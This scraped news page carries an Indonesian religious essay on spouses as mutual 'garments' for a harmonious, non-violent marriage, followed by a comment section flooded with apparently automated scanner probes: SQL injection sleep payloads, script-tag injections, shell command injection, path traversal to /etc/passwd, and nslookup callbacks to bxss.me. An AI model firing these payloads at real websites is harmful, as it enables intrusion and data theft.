Memahami Fungsi Pakaian Untuk Keluarga  Harmonis (3)

Publish

28 November 2023

Suara Muhammadiyah

Penulis

0
424
Sumber Foto Unsplash

Sumber Foto Unsplash

Trilogi Bagian ketiga: Suami Istri Harus Saling Mengapresiasi, Menjaga dan Melindungi

Oleh: M. Rifqi Rosyidi, Lc., M.Ag.

Terminologi pakaian, selain diungkapkan dengan lafadz libās sebagaimana yang lazim digunakan dalam bahasa keseharian,  secara khusus di dalam al-Quran juga diungkapkan dengan lafadz sarābīl. 

Kata Sarābīl yang disebutkan di dalam Q.S. al-Nahl [16] ayat 81 secara tekstual dinyatakan berfungsi sebagai pelindung bagi tubuh. Dan ini identik dengan fungsi pakaian secara umum, yaitu melindungi pemakainya dari terik matahari dan cuaca ekstrim lainnya [taqīkum al-harra], dan fungsi kedua melindungi tubuh dari serangan dan ancaman senjata musuh [taqīkum ba'sakum].

Sarābil yang disebut pertama di dalam ayat tersebut sangat identik dengan pakaian biasa yang terbuat dari bahan kain, sedang yang kedua identik dengan baju besi yang biasa dipergunakan sebagai pelindung tubuh pada waktu perang.

Meskipun dari sisi struktur kalimatnya menunjukan karakter pakaian yang berbeda, tetapi prinsipnya dua peran sarābīl itu juga merupakan fungsi pakaian secara umum dengan tingkat perlindungan yang berbeda sesuai dengan struktur bahannya. 

Al-Zajjāj salah satu ahli tafsir mengatakan bahwa sarābīl adalah lafadz yang digunakan untuk menyatakan semua jenis pakaian baik terbuat dari bahan kain, kulit maupun besi, dan setiap jenis pakaian itu secara umum memiliki fungsi melindungi tubuh pemakainya sesuai dengan kondisi yang dialami dan situasi yang sedang dihadapi. 

Dalam rangka mendapatkan manfaat yang diharapkan dari pakainnya, maka pemakai diharapkan memahamai kesesuaian bahan dengan kondisi dan situasi yang berlaku.

Lalu apa hubungan tekstualitas ayat ini dengan keharmonisan hubungan suami istri?. 

Sebagaimana yang telah dibahas sebelumnya berkaitan dengan jangkauan makna dari hasil pembacaan terhadap ayat hunna libāsun lakum wa antum libāsun lahunna yang secara tersirat mengisyaratkan hubungan yang berkualitas antara suami istri, maka kontekstualisasi makna ayat tentang sarābīl ini dapat digunakan untuk menafsirkan ayat 187 surat al-Baqarah tentang fungsi dan peran suami istri sebagai pakaian bagi pasangannya.  Sehingga dengan berpijak pada pemaknaan tersebut tidaklah berlebihan kalau dalam membangun rumah tangga yang harmonis harus juga  membawa semangat fungsi sarābīl ini, yaitu dengan saling menjaga martabat dan melindungi keselamatan pasangannya, sebagaimana pakaian perang memberikan perlindungan maksimal dari serangan musuh.

Sebenarnya semangat untuk saling menjaga tidak hanya berlaku secara mikro yang terbatas pada  kewajiban pasangan terhadap pasangannya. Karena hal semacam ini juga merupakan kewajiban semua umat Islam untuk saling memberikan kenyamanan dan perlindungan kepada siapa saja sebagai upaya menciptakan keharmonisan hubungan sosial. 

Oleh karena itu sikap yang harus dikembangkan dalam menciptakan hubungan baik dengan orang lain adalah husnu al-dzann, termasuk di dalam lingkup hubungan antar anggota keluarga. Husnu al-dzann (berbaik sangka atau berprasangka yang baik terhadap saudaranya) menjadi pijakan penting dalam menjaga kebersamaan dan merawat persatuan.

Dapat dikatakan bahwa keretakan ukhuwwah dan ketidakharmonisan hubungan antar sesama bermula dari muncul sikap saling curiga dan prasangka yang tidak baik [sū'u al-dzann], sebagaimana yang secara terperinci dinyatakan pada ayat 11 dan 12 dalam surat al-Hujurat. 

Bermula dari sikap curiga dan prasangka tidak baik tersebut muncul keinginan untuk mengulik hal ihwal lebih mendalam tentang kehidupan seseorang, yang disebutkan di dalam al-Quran dengan istilah tajassus. Setelah melalui proses tajassus ini biasanya muncul keinginan untuk membagikan informasinya kepada yang lain melalui proses ghībah. 

Sebenarnya ghībah bukan hanya bertujuan memberikan informasi kepada orang lain, tetapi juga berharap ada tambahan informasi dari partner bicaranya itu, dan ketika informasi negatif diterima dengan sikap yang negatif pula maka tidak akan ada kebaikan yang bisa dilihat. Dan rangkaian tindakan yang dimulai dari prasangka buruk itu berpotensi melahirkan tindakan bullying dan perundungan, bahkan tidak jarang terjadi pelanggaran hak dan martabat kemanusiaannya. 

Tindak kekerasan dalam rumah tangga sering terjadi karena rangkaian sikap-sikap negatif di atas yang dimulai dari ketidakpercayaan, kecurigaan dan prasangka buruk terhadap pasangannya.

Pakaian itu sendiri supaya tidak menyiksa maka harus diperhatikan juga ukuran dan bahannya, sehingga tidak saja berfungsi melindungi pemakainya dari ancaman bahaya eksternal tetapi secara internal juga memberi kenyamanan dan kemuliaan bagi pemakainya. Maka peran suami istri bukan hanya menjaga dan melindungi pasangannya dari ancaman dan tekanan dari luar penghuni rumah, tetapi juga masing-masing harus mampu memberikan kenyamanan dengan menyeimbangkan ego dan mengendalikan frekuensi keakuannya sehingga semua sikapnya tidak menyakiti pasangannya baik secara lisan maupun tindakan. 

Salah satu upaya menjaga hubungan baik adalah dengan memahami hak dan kewajiban masing-masing. Sebagaimana yang sempat ditanyakan oleh Muawiyah bin Haydah kepada nabi Muhammad s.a.w. tentang kewajiban suami terhadap istrinya. Nabi menjawab: "berikanlah istrimu makan dan pakaian, janganlah kamu memukul wajahnya, janganlah menjelekkan dan merendahkannya. Janganlah tidak bertegur sapa kecuali di dalam rumah". 

Hadits tersebut dengan tegas menyatakan bahwa suami bertanggung jawab atas ketenangan hidup istrinya salah satunya dengan jaminan nafkah lahir berupa makan dan pakaian. Lebih dari itu semua dengan muatan hadits tersebut suami tidak dibenarkan menyakiti istrinya baik fisik maupun psikis, maka tidak dibenarkan bagi suami memukul wajah dan tindakan yang menjurus kepada penghinaan. Dan apabila terjadi suatu hubungan yang tidak baik, suami pun harus tetap menjaga istrinya dari omongan pihak ketiga dengan tetap menahan istrinya tinggal bersama di dalam satu rumah.

Ibnu Utsaimin mengatakan bahwa keharmonisan dan kebahagiaan hidup berumah tangga tidak datang dengan kekerasan dan pemaksaan kehendak hanya karena suami merasa menjadi pimpinan yang berkuasa di dalam rumah, tetapi sesorang suami hendaknya memahami bahwa istrinya adalah pasangan hidupnya, ibu yang melahirkan anak-anaknya serta penanggung jawab terhadap rumahnya.

Maka sudah seharusnya seorang suami menghargai dan mengapresiasi setiap peran istrinya, serta menghormatinya sebagaimana ia juga minta dihargai dan dihormati.

M. Rifqi Rosyidi, Lc., M.Ag., Dewan Pakar Sahabat Misykat Indonesia, Mudir Pondok Modern Muhammadiyah Paciran


Komentar

pHqghUme

555

pHqghUme

1DnQfHo0miO

pHqghUme

response.write(9067128*9261465)

pHqghUme

'+response.write(9067128*9261465)+'

pHqghUme

"+response.write(9067128*9261465)+"

pHqghUme

AiFv7kJW

pHqghUme

555

pHqghUme

echo oaefcv$()\ cyukvq\nz^xyu||a #' &echo oaefcv$()\ cyukvq\nz^xyu||a #|" &echo oaefcv$()\ cyukvq\nz^xyu||a #

pHqghUme

../../../../../../../../../../../../../../etc/passwd

pHqghUme

&echo fbaoyy$()\ btjmtd\nz^xyu||a #' &echo fbaoyy$()\ btjmtd\nz^xyu||a #|" &echo fbaoyy$()\ btjmtd\nz^xyu||a #

pHqghUme

../../../../../../../../../../../../../../windows/win.ini

pHqghUme

|echo lzeyqn$()\ nageyv\nz^xyu||a #' |echo lzeyqn$()\ nageyv\nz^xyu||a #|" |echo lzeyqn$()\ nageyv\nz^xyu||a #

pHqghUme

555

pHqghUme

(nslookup hitrdvsbmmbudd2d1e.bxss.me||perl -e "gethostbyname('hitrdvsbmmbudd2d1e.bxss.me')")

pHqghUme

$(nslookup hitldgzbhigws8add0.bxss.me||perl -e "gethostbyname('hitldgzbhigws8add0.bxss.me')")

pHqghUme

../555

pHqghUme

&(nslookup hitnamxiqxdwv34ca8.bxss.me||perl -e "gethostbyname('hitnamxiqxdwv34ca8.bxss.me')")&'\"`0&(nslookup hitnamxiqxdwv34ca8.bxss.me||perl -e "gethostbyname('hitnamxiqxdwv34ca8.bxss.me')")&`'

pHqghUme

|(nslookup hitvmxmtrjuzj13411.bxss.me||perl -e "gethostbyname('hitvmxmtrjuzj13411.bxss.me')")

pHqghUme

`(nslookup hitlbvlxewhyr0b6ce.bxss.me||perl -e "gethostbyname('hitlbvlxewhyr0b6ce.bxss.me')")`

pHqghUme

555 bcc:009247.14963-257375.14963.b989a.19800.2@bxss.me

pHqghUme

to@example.com> bcc:009247.14963-257376.14963.b989a.19800.2@bxss.me

pHqghUme

555

pHqghUme

555<esi:include src="http://bxss.me/rpb.png"/>

pHqghUme

${10000091+10000277}

pHqghUme

555&n942177=v987946

pHqghUme

'"()

pHqghUme

)

pHqghUme

!(()&&!|*|*|

pHqghUme

^(#$!@#$)(()))******

pHqghUme

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

pHqghUme

1some_inexistent_file_with_long_name.jpg

pHqghUme

'.gethostbyname(lc('hitit'.'bmhgdkpee230b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(77).chr(99).chr(87).'

pHqghUme

Http://bxss.me/t/fit.txt

pHqghUme

".gethostbyname(lc("hitos"."zqxwbpxe137e5.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(68).chr(116).chr(78)."

pHqghUme

HttP://bxss.me/t/xss.html?%00

pHqghUme

http://bxss.me/t/fit.txt?.jpg

pHqghUme

bxss.me/t/xss.html?%00

pHqghUme

/etc/shells

pHqghUme

"+"A".concat(70-3).concat(22*4).concat(102).concat(80).concat(101).concat(72)+(require"socket" Socket.gethostbyname("hitpb"+"ahuneaht2e35a.bxss.me.")[3].to_s)+"

pHqghUme

c:/windows/win.ini

pHqghUme

'+'A'.concat(70-3).concat(22*4).concat(101).concat(68).concat(112).concat(67)+(require'socket' Socket.gethostbyname('hitbo'+'uvcmvhdf831e5.bxss.me.')[3].to_s)+'

pHqghUme

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

pHqghUme

bxss.me

pHqghUme

memahami-fungsi-pakaian-untuk-keluarga-harmonis-3

pHqghUme

';print(md5(31337));$a='

pHqghUme

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

pHqghUme

memahami-fungsi-pakaian-untuk-keluarga-harmonis-3

pHqghUme

";print(md5(31337));$a="

pHqghUme

memahami-fungsi-pakaian-untuk-keluarga-harmonis-3/.

pHqghUme

/xfs.bxss.me

pHqghUme

${@print(md5(31337))}

pHqghUme

${@print(md5(31337))}\

pHqghUme

'"

pHqghUme

'.print(md5(31337)).'

pHqghUme

<!--

pHqghUme

555'"()&%<acx><ScRiPt >Pqdh(9683)</ScRiPt>

pHqghUme

555

pHqghUme

'"()&%<acx><ScRiPt >Pqdh(9530)</ScRiPt>

pHqghUme

5559577294

pHqghUme

acu2111<s1﹥s2ʺs3ʹuca2111

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

acu3594<s1﹥s2ʺs3ʹuca3594

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

5559401"();}]9073

pHqghUme

%35%35%35%39%35%38%35%22%28%29%3B%7D%5D%39%30%37%35

pHqghUme

555</script><script>Pqdh(9958)</script>

pHqghUme

555

pHqghUme

555

pHqghUme

NzOI1dAY

pHqghUme

-1 OR 2+90-90-1=0+0+0+1 --

pHqghUme

-1 OR 2+733-733-1=0+0+0+1

pHqghUme

-1' OR 2+470-470-1=0+0+0+1 --

pHqghUme

-1' OR 2+761-761-1=0+0+0+1 or 'avDPDcKO'='

pHqghUme

-1" OR 2+42-42-1=0+0+0+1 --

pHqghUme

if(now()=sysdate(),sleep(15),0)

pHqghUme

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme

-1; waitfor delay '0:0:15' --

pHqghUme

-1); waitfor delay '0:0:15' --

pHqghUme

1 waitfor delay '0:0:15' --

pHqghUme

iedjQFYG'; waitfor delay '0:0:15' --

pHqghUme

-5 OR 854=(SELECT 854 FROM PG_SLEEP(15))--

pHqghUme

-5) OR 467=(SELECT 467 FROM PG_SLEEP(15))--

pHqghUme

-1)) OR 623=(SELECT 623 FROM PG_SLEEP(15))--

pHqghUme

n7X4dy4I' OR 404=(SELECT 404 FROM PG_SLEEP(15))--

pHqghUme

NIPmkSEq') OR 465=(SELECT 465 FROM PG_SLEEP(15))--

pHqghUme

3IR9z1NG')) OR 966=(SELECT 966 FROM PG_SLEEP(15))--

pHqghUme

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme

1'"

pHqghUme

@@dqxwJ

pHqghUme

555

Berita Lainnya

Berita Terkait

Tentang Politik, Pemerintahan, Partai, Dll

Wawasan

Oleh: Donny Syofyan Dosen Fakultas Ilmu Budaya Universitas Andalas Mengapa Iblis mendurhakai Allah....

Suara Muhammadiyah

27 March 2024

Wawasan

Toleransi Dibalik Narasi Moderasi Beragama Oleh Badru Rohman, Kokam Solo Raya Dalam konteks keIndo....

Suara Muhammadiyah

22 December 2023

Wawasan

  Oleh: M. Husnaini (Dosen Fakultas Ilmu Agama Islam Universitas Islam Indonesia, Anggota Maj....

Suara Muhammadiyah

14 September 2023

Wawasan

Oleh: Donny Syofyan Dosen Fakultas Ilmu Budaya Universitas Andalas Salah satu aspek ibadah haji ad....

Suara Muhammadiyah

31 January 2024

Wawasan

Oleh: Drh H Baskoro Tri Caroko LPCRPM PP Muhammadiyah, Pemberdayaan Ekonomi Seni Dan Budaya Memenu....

Suara Muhammadiyah

22 March 2024

Tentang

© Copyright . Suara Muhammadiyah